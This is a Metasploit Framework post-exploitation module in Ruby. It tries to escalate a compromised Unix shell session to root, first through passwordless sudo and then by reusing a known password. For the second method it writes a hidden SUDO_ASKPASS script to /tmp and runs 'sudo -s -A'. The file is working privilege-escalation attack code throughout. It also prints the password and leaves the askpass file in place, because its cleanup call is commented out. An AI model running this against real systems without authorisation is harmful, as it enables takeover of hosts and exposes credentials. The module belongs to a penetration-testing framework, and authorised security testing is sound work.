metasploit-framework/modules/post/multi/manage/sudo.rb

##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/unix'
require 'msf/core/post/linux/priv'
require 'msf/core/post/linux/system'

class Metasploit3 < Msf::Post

	include Msf::Post::Common
	include Msf::Post::File
	include Msf::Post::Linux::Priv
	include Msf::Post::Linux::System


	def initialize(info={})
		super( update_info( info,
				'Name'          => 'Multiple Linux / Unix Post Sudo Upgrade Shell',
				'Description'   => %q{
					This module attempts to upgrade a shell account to UID 0 by reusing the
					given password and passing it to sudo. This technique relies on sudo
					versions from 2008 and later which support -A.
				},
				'License'       => MSF_LICENSE,
				'Author'        =>
					[
						'todb <todb[at]metasploit.com>',
						'Ryan Baxendale <rbaxendale[at]gmail.com>' #added password option
					],
				'Platform'      => [ 'linux','unix','osx','solaris','aix' ],
				'References'    =>
					[
						# Askpass first added March 2, 2008, looks like
						[ 'URL', 'http://www.sudo.ws/repos/sudo/file/05780f5f71fd/sudo.h']
					],
				'SessionTypes'  => [ 'shell' ] # Need to test 'meterpreter'
			))

			register_options(
				[
					OptString.new('PASSWORD', [false, 'The password to use when running sudo.'])
				], self.class)
	end

	# Run Method for when run command is issued
	def run
		print_status("SUDO: Attempting to upgrade to UID 0 via sudo")
		sudo_bin = cmd_exec("which sudo")
		if is_root?
			print_status "Already root, so no need to upgrade permissions. Aborting."
			return
		end
		if sudo_bin.empty?
			print_error "No sudo binary available. Aborting."
			return
		end
		get_root()
	end

	def get_root
		if datastore['PASSWORD']
			password = datastore['PASSWORD']
		else
			password = session.exploit_datastore['PASSWORD']
		end

		if password.to_s.empty?
			print_status "No password available, trying a passwordless sudo."
		else
			print_status "Sudoing with password `#{password}'."
		end
		askpass_sudo(password)
		unless is_root?
			print_error "SUDO: Didn't work out, still a mere user."
		else
			print_good "SUDO: Root shell secured."
			report_note(
				:host => session,
				:type => "host.escalation",
				:data => "User `#{session.exploit_datastore['USERNAME']}' sudo'ed to a root shell"
			)
		end
	end

	# TODO: test on more platforms
	def askpass_sudo(password)
		if password.to_s.empty?
			begin
				::Timeout.timeout(30) do
					cmd_exec("sudo -s")
				end
			rescue ::Timeout::Error
				print_error "SUDO: Passwordless sudo timed out. Might be blocking."
			rescue
				print_error "SUDO: Passwordless sudo failed. Check the session log."
			end
		else
			askpass_sh = "/tmp/." + Rex::Text.rand_text_alpha(7)
			begin
				# Telnet can be pretty pokey, allow about 20 seconds per cmd_exec
				# Generally will be much snappier over ssh.
				# Need to timeout in case there's a blocking prompt after all
				::Timeout.timeout(120) do
					vprint_status "Writing the SUDO_ASKPASS script: #{askpass_sh}"
					cmd_exec("echo \\#\\!/bin/sh > #{askpass_sh}") # Cursed csh
					cmd_exec("echo echo #{password} >> #{askpass_sh}")
					vprint_status "Setting executable bit."
					cmd_exec("chmod +x #{askpass_sh}")
					vprint_status "Setting environment variable."
					# Bruteforce the set command. At least one should work.
					cmd_exec("setenv SUDO_ASKPASS #{askpass_sh}")
					cmd_exec("export SUDO_ASKPASS=#{askpass_sh}")
					vprint_status "Executing sudo -s -A"
					cmd_exec("sudo -s -A")
				end
			rescue ::Timeout::Error
				print_error "SUDO: Sudo with a password timed out."
			rescue
				print_error "SUDO: Sudo with a password failed. Check the session log."
			end
			# askpass_cleanup(askpass_sh)
		end
	end

	def askpass_cleanup(askpass_sh)
		begin
			::Timeout.timeout(20) do
				vprint_status "Deleting the SUDO_ASKPASS script."
				cmd_exec("rm #{askpass_sh}")
			end
		rescue ::Timeout::Error
			print_error "Timed out during sudo cleanup."
		end
	end

end